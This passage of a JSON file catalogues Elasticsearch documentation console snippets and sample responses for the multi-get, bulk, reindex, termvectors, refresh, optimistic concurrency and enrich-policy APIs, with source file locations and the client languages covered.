\"_index\": \"test\",\n \"_id\": \"2\",\n \"stored_fields\": [ \"field3\", \"field4\" ]\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":239},"digest":"64d24f4b2a57dba48092dafe3eb68ad1","lang":"console","found":["ruby"],"source":"GET /test/_mget?stored_fields=field1,field2\n{\n \"docs\": [\n {\n \"_id\": \"1\"\n },\n {\n \"_id\": \"2\",\n \"stored_fields\": [ \"field3\", \"field4\" ]\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":262},"digest":"8330b2ea6317769e52d0647ba434b354","lang":"console","found":["ruby"],"source":"GET /_mget?routing=key1\n{\n \"docs\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"routing\": \"key2\"\n },\n {\n \"_index\": \"test\",\n \"_id\": \"2\"\n }\n ]\n}"}, {"source_location":{"file":"docs/bulk.asciidoc","line":11},"digest":"ae9ccfaa146731ab9176df90670db1c2","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _bulk\n{ \"index\" : { \"_index\" : \"test\", \"_id\" : \"1\" } }\n{ \"field1\" : \"value1\" }\n{ \"delete\" : { \"_index\" : \"test\", \"_id\" : \"2\" } }\n{ \"create\" : { \"_index\" : \"test\", \"_id\" : \"3\" } }\n{ \"field1\" : \"value3\" }\n{ \"update\" : {\"_id\" : \"1\", \"_index\" : \"test\"} }\n{ \"doc\" : {\"field2\" : \"value2\"} }"}, {"source_location":{"file":"docs/bulk.asciidoc","line":499},"digest":"ae9ccfaa146731ab9176df90670db1c2","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _bulk\n{ \"index\" : { \"_index\" : \"test\", \"_id\" : \"1\" } }\n{ \"field1\" : \"value1\" }\n{ \"delete\" : { \"_index\" : \"test\", \"_id\" : \"2\" } }\n{ \"create\" : { \"_index\" : \"test\", \"_id\" : \"3\" } }\n{ \"field1\" : \"value3\" }\n{ \"update\" : {\"_id\" : \"1\", \"_index\" : \"test\"} }\n{ \"doc\" : {\"field2\" : \"value2\"} }"}, {"source_location":{"file":"docs/bulk.asciidoc","line":513},"digest":"6e8127305ead40f2b6dd2ef3b99a9eca","lang":"console-result","found":[],"source":"{\n \"took\": 30,\n \"errors\": false,\n \"items\": [\n {\n \"index\": {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"status\": 201,\n \"_seq_no\" : 0,\n \"_primary_term\": 1\n }\n },\n {\n \"delete\": {\n \"_index\": \"test\",\n \"_id\": \"2\",\n \"_version\": 1,\n \"result\": \"not_found\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"status\": 404,\n \"_seq_no\" : 1,\n \"_primary_term\" : 2\n }\n },\n {\n \"create\": {\n \"_index\": \"test\",\n \"_id\": \"3\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"status\": 201,\n \"_seq_no\" : 2,\n \"_primary_term\" : 3\n }\n },\n {\n \"update\": {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_version\": 2,\n \"result\": \"updated\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"status\": 200,\n \"_seq_no\" : 3,\n \"_primary_term\" : 4\n }\n }\n ]\n}"}, {"source_location":{"file":"docs/bulk.asciidoc","line":610},"digest":"8cd00a3aba7c3c158277bc032aac2830","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _bulk\n{ \"update\" : {\"_id\" : \"1\", \"_index\" : \"index1\", \"retry_on_conflict\" : 3} }\n{ \"doc\" : {\"field\" : \"value\"} }\n{ \"update\" : { \"_id\" : \"0\", \"_index\" : \"index1\", \"retry_on_conflict\" : 3} }\n{ \"script\" : { \"source\": \"ctx._source.counter += params.param1\", \"lang\" : \"painless\", \"params\" : {\"param1\" : 1}}, \"upsert\" : {\"counter\" : 1}}\n{ \"update\" : {\"_id\" : \"2\", \"_index\" : \"index1\", \"retry_on_conflict\" : 3} }\n{ \"doc\" : {\"field\" : \"value\"}, \"doc_as_upsert\" : true }\n{ \"update\" : {\"_id\" : \"3\", \"_index\" : \"index1\", \"_source\" : true} }\n{ \"doc\" : {\"field\" : \"value\"} }\n{ \"update\" : {\"_id\" : \"4\", \"_index\" : \"index1\"} }\n{ \"doc\" : {\"field\" : \"value\"}, \"_source\": true}"}, {"source_location":{"file":"docs/bulk.asciidoc","line":632},"digest":"1aa91d3d48140d6367b6cabca8737b8f","lang":"console","found":["php","python","ruby","go","js"],"source":"POST /_bulk\n{ \"update\": {\"_id\": \"5\", \"_index\": \"index1\"} }\n{ \"doc\": {\"my_field\": \"foo\"} }\n{ \"update\": {\"_id\": \"6\", \"_index\": \"index1\"} }\n{ \"doc\": {\"my_field\": \"foo\"} }\n{ \"create\": {\"_id\": \"7\", \"_index\": \"index1\"} }\n{ \"my_field\": \"foo\" }"}, {"source_location":{"file":"docs/bulk.asciidoc","line":650},"digest":"36721b1f67f58f58902ca937e79cc5d2","lang":"console-result","found":[],"source":"{\n \"took\": 486,\n \"errors\": true,\n \"items\": [\n {\n \"update\": {\n \"_index\": \"index1\",\n \"_id\": \"5\",\n \"status\": 404,\n \"error\": {\n \"type\": \"document_missing_exception\",\n \"reason\": \"[5]: document missing\",\n \"index_uuid\": \"aAsFqTI0Tc2W0LCWgPNrOA\",\n \"shard\": \"0\",\n \"index\": \"index1\"\n }\n }\n },\n {\n \"update\": {\n \"_index\": \"index1\",\n \"_id\": \"6\",\n \"status\": 404,\n \"error\": {\n \"type\": \"document_missing_exception\",\n \"reason\": \"[6]: document missing\",\n \"index_uuid\": \"aAsFqTI0Tc2W0LCWgPNrOA\",\n \"shard\": \"0\",\n \"index\": \"index1\"\n }\n }\n },\n {\n \"create\": {\n \"_index\": \"index1\",\n \"_id\": \"7\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"status\": 201\n }\n }\n ]\n}"}, {"source_location":{"file":"docs/bulk.asciidoc","line":711},"digest":"bfdad8a928ea30d7cf60d0a0a6bc6e2e","lang":"console","found":["php","python","ruby","go","js"],"source":"POST /_bulk?filter_path=items.*.error\n{ \"update\": {\"_id\": \"5\", \"_index\": \"index1\"} }\n{ \"doc\": {\"my_field\": \"baz\"} }\n{ \"update\": {\"_id\": \"6\", \"_index\": \"index1\"} }\n{ \"doc\": {\"my_field\": \"baz\"} }\n{ \"update\": {\"_id\": \"7\", \"_index\": \"index1\"} }\n{ \"doc\": {\"my_field\": \"baz\"} }"}, {"source_location":{"file":"docs/bulk.asciidoc","line":725},"digest":"ba07b72377ab9f5da75bdc76109f66d6","lang":"console-result","found":[],"source":"{\n \"items\": [\n {\n \"update\": {\n \"error\": {\n \"type\": \"document_missing_exception\",\n \"reason\": \"[5]: document missing\",\n \"index_uuid\": \"aAsFqTI0Tc2W0LCWgPNrOA\",\n \"shard\": \"0\",\n \"index\": \"index1\"\n }\n }\n },\n {\n \"update\": {\n \"error\": {\n \"type\": \"document_missing_exception\",\n \"reason\": \"[6]: document missing\",\n \"index_uuid\": \"aAsFqTI0Tc2W0LCWgPNrOA\",\n \"shard\": \"0\",\n \"index\": \"index1\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"docs/bulk.asciidoc","line":764},"digest":"c9c396b94bb88098477e2b08b55a12ee","lang":"console","found":["python","ruby"],"source":"PUT my-index/\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"geo_point\": {\n \"mapping\": {\n \"type\" : \"geo_point\"\n }\n }\n }\n ]\n }\n}\n\nPOST /_bulk\n{ \"index\" : { \"_index\" : \"my_index\", \"_id\" : \"1\", \"dynamic_templates\": {\"work_location\": \"geo_point\"}} }\n{ \"field\" : \"value1\", \"work_location\": \"41.12,-71.34\", \"raw_location\": \"41.12,-71.34\"}\n{ \"create\" : { \"_index\" : \"my_index\", \"_id\" : \"2\", \"dynamic_templates\": {\"home_location\": \"geo_point\"}} }\n{ \"field\" : \"value2\", \"home_location\": \"41.12,-71.34\"}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":25},"digest":"7e484b8b41f9dbc2bcf1f340db197c1d","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":202},"digest":"68738b4fd0dda177022be45be95b4c84","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _reindex/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1"}, {"source_location":{"file":"docs/reindex.asciidoc","line":234},"digest":"e0a7c730ef0f22e3edffe9a254bc56e7","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\",\n \"slice\": {\n \"id\": 0,\n \"max\": 2\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}\nPOST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\",\n \"slice\": {\n \"id\": 1,\n \"max\": 2\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":267},"digest":"1f673e1a0de2970dc648618d5425a994","lang":"console","found":["python","ruby"],"source":"GET _refresh\nPOST my-new-index-000001/_search?size=0&filter_path=hits.total"}, {"source_location":{"file":"docs/reindex.asciidoc","line":276},"digest":"7e3ab9b4b60726e0dbe92612d2c4cd9d","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\" : {\n \"value\": 120,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":294},"digest":"2932e6f71e247cf52e11d2f38f114ddf","lang":"console","found":["python","ruby"],"source":"POST _reindex?slices=5&refresh\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":310},"digest":"ff09e13391cecb2e8b9dd440b37e065f","lang":"console","found":["python","ruby"],"source":"POST my-new-index-000001/_search?size=0&filter_path=hits.total"}, {"source_location":{"file":"docs/reindex.asciidoc","line":318},"digest":"7e3ab9b4b60726e0dbe92612d2c4cd9d","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\" : {\n \"value\": 120,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":403},"digest":"78c96113ae4ed0054e581b17542528a7","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"source\",\n \"query\": {\n \"match\": {\n \"company\": \"cat\"\n }\n }\n },\n \"dest\": {\n \"index\": \"dest\",\n \"routing\": \"=cat\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":428},"digest":"400e89eb46ead8e9c9e40f123fd5e590","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"source\",\n \"size\": 100\n },\n \"dest\": {\n \"index\": \"dest\",\n \"routing\": \"=cat\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":450},"digest":"b1efa1c51a34dd5ab5511b71a399f5b1","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"source\"\n },\n \"dest\": {\n \"index\": \"dest\",\n \"pipeline\": \"some_ingest_pipeline\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":668},"digest":"cb0c3223fd45148497df73adfba2e9ce","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\",\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":694},"digest":"ef22234b97cc06d7dd620b4ce7c97b31","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"max_docs\": 1,\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":716},"digest":"355d0ee2fcb6c1fc403c6267f710e25a","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": [\"my-index-000001\", \"my-index-000002\"]\n },\n \"dest\": {\n \"index\": \"my-new-index-000002\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":742},"digest":"d5d0ecf75843ddb5f92cfebd089e53e9","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\",\n \"_source\": [\"user.id\", \"_doc\"]\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":763},"digest":"926c0134aeaad53bd0f3bdad9c430217","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_doc/1?refresh\n{\n \"text\": \"words words\",\n \"flag\": \"foo\"\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":775},"digest":"3bb491db29deba25e1cc82bcaa1aa1a1","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n },\n \"script\": {\n \"source\": \"ctx._source.tag = ctx._source.remove(\\\"flag\\\")\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":794},"digest":"f37173a75cd1b0d683c6f67819dd1de3","lang":"console","found":["python","ruby"],"source":"GET my-new-index-000001/_doc/1"}, {"source_location":{"file":"docs/reindex.asciidoc","line":802},"digest":"b750625eca33871439d415f09d0e8b81","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"1\",\n \"_index\": \"my-new-index-000001\",\n \"_version\": 1,\n \"_seq_no\": 44,\n \"_primary_term\": 1,\n \"_source\": {\n \"text\": \"words words\",\n \"tag\": \"foo\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":827},"digest":"9a4d5e41c52c20635d1fd9c6e13f6c7a","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT metricbeat-2016.05.30/_doc/1?refresh\n{\"system.cpu.idle.pct\": 0.908}\nPUT metricbeat-2016.05.31/_doc/1?refresh\n{\"system.cpu.idle.pct\": 0.105}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":843},"digest":"973a3ff47fc4ce036ecd9bd363fef9f7","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"metricbeat-*\"\n },\n \"dest\": {\n \"index\": \"metricbeat\"\n },\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"ctx._index = 'metricbeat-' + (ctx._index.substring('metricbeat-'.length(), ctx._index.length())) + '-1'\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":863},"digest":"3b04cc894e6a47d57983484010feac0c","lang":"console","found":["php","python","ruby","go","js"],"source":"GET metricbeat-2016.05.30-1/_doc/1\nGET metricbeat-2016.05.31-1/_doc/1"}, {"source_location":{"file":"docs/reindex.asciidoc","line":878},"digest":"07ba3eaa931f2cf110052e3544db51f8","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"max_docs\": 10,\n \"source\": {\n \"index\": \"my-index-000001\",\n \"query\": {\n \"function_score\" : {\n \"random_score\" : {},\n \"min_score\" : 0.9 <1>\n }\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":909},"digest":"e650d73c57ab313e686fec01e3b0c90f","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\",\n \"version_type\": \"external\"\n },\n \"script\": {\n \"source\": \"if (ctx._source.foo == 'bar') {ctx._version++; ctx._source.remove('foo')}\",\n \"lang\": \"painless\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":964},"digest":"242a26ced0e5706e48dcda19a4003094","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"remote\": {\n \"host\": \"http://otherhost:9200\",\n \"username\": \"user\",\n \"password\": \"pass\"\n },\n \"index\": \"my-index-000001\",\n \"query\": {\n \"match\": {\n \"test\": \"data\"\n }\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":1003},"digest":"ff63ae39c34925dbfa54282ec9989124","lang":"console","found":["python","ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"remote\": {\n \"host\": \"http://otherhost:9200\",\n \"headers\": {\n \"Authorization\": \"ApiKey API_KEY_VALUE\"\n }\n },\n \"index\": \"my-index-000001\",\n \"query\": {\n \"match\": {\n \"test\": \"data\"\n }\n }\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":1062},"digest":"e9ae959608d128202921b174f4faa7a8","lang":"console","found":[],"source":"POST _reindex\n{\n \"source\": {\n \"remote\": {\n \"host\": \"http://otherhost:9200\",\n ...\n },\n \"index\": \"source\",\n \"size\": 10,\n \"query\": {\n \"match\": {\n \"test\": \"data\"\n }\n }\n },\n \"dest\": {\n \"index\": \"dest\"\n }\n}"}, {"source_location":{"file":"docs/reindex.asciidoc","line":1095},"digest":"7c862a20772467e0f5beebbd1b80c4cb","lang":"console","found":[],"source":"POST _reindex\n{\n \"source\": {\n \"remote\": {\n \"host\": \"http://otherhost:9200\",\n ...,\n \"socket_timeout\": \"1m\",\n \"connect_timeout\": \"10s\"\n },\n \"index\": \"source\",\n \"query\": {\n \"match\": {\n \"test\": \"data\"\n }\n }\n },\n \"dest\": {\n \"index\": \"dest\"\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":10},"digest":"f3697682a886ab129530f3e5c1b30632","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors/1"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":36},"digest":"c5ba7c4badb5ef5ca32740106e4aa6b6","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors/1?fields=message"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":177},"digest":"941c8d05486200e835d97642e4ee05d5","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{ \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"term_vector\": \"with_positions_offsets_payloads\",\n \"store\" : true,\n \"analyzer\" : \"fulltext_analyzer\"\n },\n \"fullname\": {\n \"type\": \"text\",\n \"term_vector\": \"with_positions_offsets_payloads\",\n \"analyzer\" : \"fulltext_analyzer\"\n }\n }\n },\n \"settings\" : {\n \"index\" : {\n \"number_of_shards\" : 1,\n \"number_of_replicas\" : 0\n },\n \"analysis\": {\n \"analyzer\": {\n \"fulltext_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"lowercase\",\n \"type_as_payload\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":218},"digest":"d775836a0d7abecc6637aa988f204c30","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/1\n{\n \"fullname\" : \"John Doe\",\n \"text\" : \"test test test \"\n}\n\nPUT /my-index-000001/_doc/2?refresh=wait_for\n{\n \"fullname\" : \"Jane Doe\",\n \"text\" : \"Another test ...\"\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":237},"digest":"16985e5b17d2da0955a14fbe02e8dfca","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors/1\n{\n \"fields\" : [\"text\"],\n \"offsets\" : true,\n \"payloads\" : true,\n \"positions\" : true,\n \"term_statistics\" : true,\n \"field_statistics\" : true\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":253},"digest":"8e6d2d614dedb26da93600a14e7bb94f","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"found\": true,\n \"took\": 6,\n \"term_vectors\": {\n \"text\": {\n \"field_statistics\": {\n \"sum_doc_freq\": 4,\n \"doc_count\": 2,\n \"sum_ttf\": 6\n },\n \"terms\": {\n \"test\": {\n \"doc_freq\": 2,\n \"ttf\": 4,\n \"term_freq\": 3,\n \"tokens\": [\n {\n \"position\": 0,\n \"start_offset\": 0,\n \"end_offset\": 4,\n \"payload\": \"d29yZA==\"\n },\n {\n \"position\": 1,\n \"start_offset\": 5,\n \"end_offset\": 9,\n \"payload\": \"d29yZA==\"\n },\n {\n \"position\": 2,\n \"start_offset\": 10,\n \"end_offset\": 14,\n \"payload\": \"d29yZA==\"\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":310},"digest":"aeaa97939a05f5b2f3f2c43b771f35e3","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors/1\n{\n \"fields\" : [\"text\", \"some_field_without_term_vectors\"],\n \"offsets\" : true,\n \"positions\" : true,\n \"term_statistics\" : true,\n \"field_statistics\" : true\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":333},"digest":"3e33c1a4298ea6a0dec65a3ebf9ba973","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors\n{\n \"doc\" : {\n \"fullname\" : \"John Doe\",\n \"text\" : \"test test test\"\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":354},"digest":"a1d0603b24a5b048f0959975d8057534","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_termvectors\n{\n \"doc\" : {\n \"fullname\" : \"John Doe\",\n \"text\" : \"test test test\"\n },\n \"fields\": [\"fullname\"],\n \"per_field_analyzer\" : {\n \"fullname\": \"keyword\"\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":372},"digest":"d60f020b9e9a854b73f52633e63cb553","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_version\": 0,\n \"found\": true,\n \"took\": 6,\n \"term_vectors\": {\n \"fullname\": {\n \"field_statistics\": {\n \"sum_doc_freq\": 2,\n \"doc_count\": 4,\n \"sum_ttf\": 4\n },\n \"terms\": {\n \"John Doe\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 0,\n \"start_offset\": 0,\n \"end_offset\": 8\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":418},"digest":"b37919cc438b47477343833b4e522408","lang":"console","found":["ruby"],"source":"GET /imdb/_termvectors\n{\n \"doc\": {\n \"plot\": \"When wealthy industrialist Tony Stark is forced to build an armored suit after a life-threatening incident, he ultimately decides to use its technology to fight against evil.\"\n },\n \"term_statistics\": true,\n \"field_statistics\": true,\n \"positions\": false,\n \"offsets\": false,\n \"filter\": {\n \"max_num_terms\": 3,\n \"min_term_freq\": 1,\n \"min_doc_freq\": 1\n }\n}"}, {"source_location":{"file":"docs/termvectors.asciidoc","line":440},"digest":"9582cab412650ffe53fd17791199cbf8","lang":"console-result","found":[],"source":"{\n \"_index\": \"imdb\",\n \"_version\": 0,\n \"found\": true,\n \"term_vectors\": {\n \"plot\": {\n \"field_statistics\": {\n \"sum_doc_freq\": 3384269,\n \"doc_count\": 176214,\n \"sum_ttf\": 3753460\n },\n \"terms\": {\n \"armored\": {\n \"doc_freq\": 27,\n \"ttf\": 27,\n \"term_freq\": 1,\n \"score\": 9.74725\n },\n \"industrialist\": {\n \"doc_freq\": 88,\n \"ttf\": 88,\n \"term_freq\": 1,\n \"score\": 8.590818\n },\n \"stark\": {\n \"doc_freq\": 44,\n \"ttf\": 47,\n \"term_freq\": 1,\n \"score\": 9.272792\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/multi-termvectors.asciidoc","line":10},"digest":"35563ef92dddef9d83906d9c43c60d0f","lang":"console","found":["ruby"],"source":"POST /_mtermvectors\n{\n \"docs\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"2\",\n \"term_statistics\": true\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"fields\": [\n \"message\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-termvectors.asciidoc","line":97},"digest":"841ad0a70f4271f61f0bac0b467b59c5","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_mtermvectors\n{\n \"docs\": [\n {\n \"_id\": \"2\",\n \"fields\": [\n \"message\"\n ],\n \"term_statistics\": true\n },\n {\n \"_id\": \"1\"\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-termvectors.asciidoc","line":120},"digest":"f0c3235d8fce641d6ff8ce90ab7b7b8b","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_mtermvectors\n{\n \"ids\": [ \"1\", \"2\" ],\n \"parameters\": {\n \"fields\": [\n \"message\"\n ],\n \"term_statistics\": true\n }\n}"}, {"source_location":{"file":"docs/multi-termvectors.asciidoc","line":141},"digest":"d133b5d82238f7d4778c341cbe0bc969","lang":"console","found":["ruby"],"source":"POST /_mtermvectors\n{\n \"docs\": [\n {\n \"_index\": \"my-index-000001\",\n \"doc\" : {\n \"message\" : \"test test test\"\n }\n },\n {\n \"_index\": \"my-index-000001\",\n \"doc\" : {\n \"message\" : \"Another test ...\"\n }\n }\n ]\n}"}, {"source_location":{"file":"docs/refresh.asciidoc","line":87},"digest":"92d343eb755971c44a939d0660bf5ac2","lang":"console","found":["ruby"],"source":"PUT /test/_doc/1?refresh\n{\"test\": \"test\"}\nPUT /test/_doc/2?refresh=true\n{\"test\": \"test\"}"}, {"source_location":{"file":"docs/refresh.asciidoc","line":98},"digest":"1070e59ba144cdf309fd9b2591612b95","lang":"console","found":["ruby"],"source":"PUT /test/_doc/3\n{\"test\": \"test\"}\nPUT /test/_doc/4?refresh=false\n{\"test\": \"test\"}"}, {"source_location":{"file":"docs/refresh.asciidoc","line":108},"digest":"e4b2b5e0aaedf3cbbcde3d61eb1f13fc","lang":"console","found":["ruby"],"source":"PUT /test/_doc/4?refresh=wait_for\n{\"test\": \"test\"}"}, {"source_location":{"file":"docs/concurrency-control.asciidoc","line":24},"digest":"25981b7b3d55b87e1484586d57b695b1","lang":"console","found":["ruby"],"source":"PUT products/_doc/1567\n{\n \"product\" : \"r2d2\",\n \"details\" : \"A resourceful astromech droid\"\n}"}, {"source_location":{"file":"docs/concurrency-control.asciidoc","line":36},"digest":"7d7294e76655413383e078ed7b32cfbb","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 2,\n \"failed\": 0,\n \"successful\": 1\n },\n \"_index\": \"products\",\n \"_id\": \"1567\",\n \"_version\": 1,\n \"_seq_no\": 362,\n \"_primary_term\": 2,\n \"result\": \"created\"\n}"}, {"source_location":{"file":"docs/concurrency-control.asciidoc","line":61},"digest":"278d5bfa1a01f91d5c84679ef1bca390","lang":"console","found":["ruby"],"source":"GET products/_doc/1567"}, {"source_location":{"file":"docs/concurrency-control.asciidoc","line":69},"digest":"2d24467bf8320ed236ad301d708f0765","lang":"console-result","found":[],"source":"{\n \"_index\": \"products\",\n \"_id\": \"1567\",\n \"_version\": 1,\n \"_seq_no\": 362,\n \"_primary_term\": 2,\n \"found\": true,\n \"_source\": {\n \"product\": \"r2d2\",\n \"details\": \"A resourceful astromech droid\"\n }\n}"}, {"source_location":{"file":"docs/concurrency-control.asciidoc","line":102},"digest":"783c4fa5351a242364210fc32496beb2","lang":"console","found":[],"source":"PUT products/_doc/1567?if_seq_no=362&if_primary_term=2\n{\n \"product\": \"r2d2\",\n \"details\": \"A resourceful astromech droid\",\n \"tags\": [ \"droid\" ]\n}"}, {"source_location":{"file":"ingest/apis/enrich/put-enrich-policy.asciidoc","line":25},"digest":"20f62d0540bf6261549bd286416eae28","lang":"console","found":["ruby"],"source":"PUT /_enrich/policy/my-policy\n{\n \"match\": {\n \"indices\": \"users\",\n \"match_field\": \"email\",\n \"enrich_fields\": [\"first_name\", \"last_name\", \"city\", \"zip\", \"state\"]\n }\n}"}, {"source_location":{"file":"ingest/apis/enrich/delete-enrich-policy.asciidoc","line":36},"digest":"cdd29b01e730b3996de68a2788050021","lang":"console","found":["ruby"],"source":"DELETE /_enrich/policy/my-policy"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":43},"digest":"af18f5c5fb2364ae23c6a14431820aba","lang":"console","found":["ruby"],"source":"GET /_enrich/policy/my-policy"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":88},"digest":"af18f5c5fb2364ae23c6a14431820aba","lang":"console","found":["ruby"],"source":"GET /_enrich/policy/my-policy"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":96},"digest":"441527aba37e39ee66c1a5c6c8ec5257","lang":"console-result","found":[],"source":"{\n \"policies\": [\n {\n \"config\": {\n \"match\": {\n \"name\": \"my-policy\",\n \"indices\": [ \"users\" ],\n \"match_field\": \"email\",\n \"enrich_fields\": [\n \"first_name\",\n \"last_name\",\n \"city\",\n \"zip\",\n \"state\"\n ]\n }\n }\n }\n ]\n}"}, 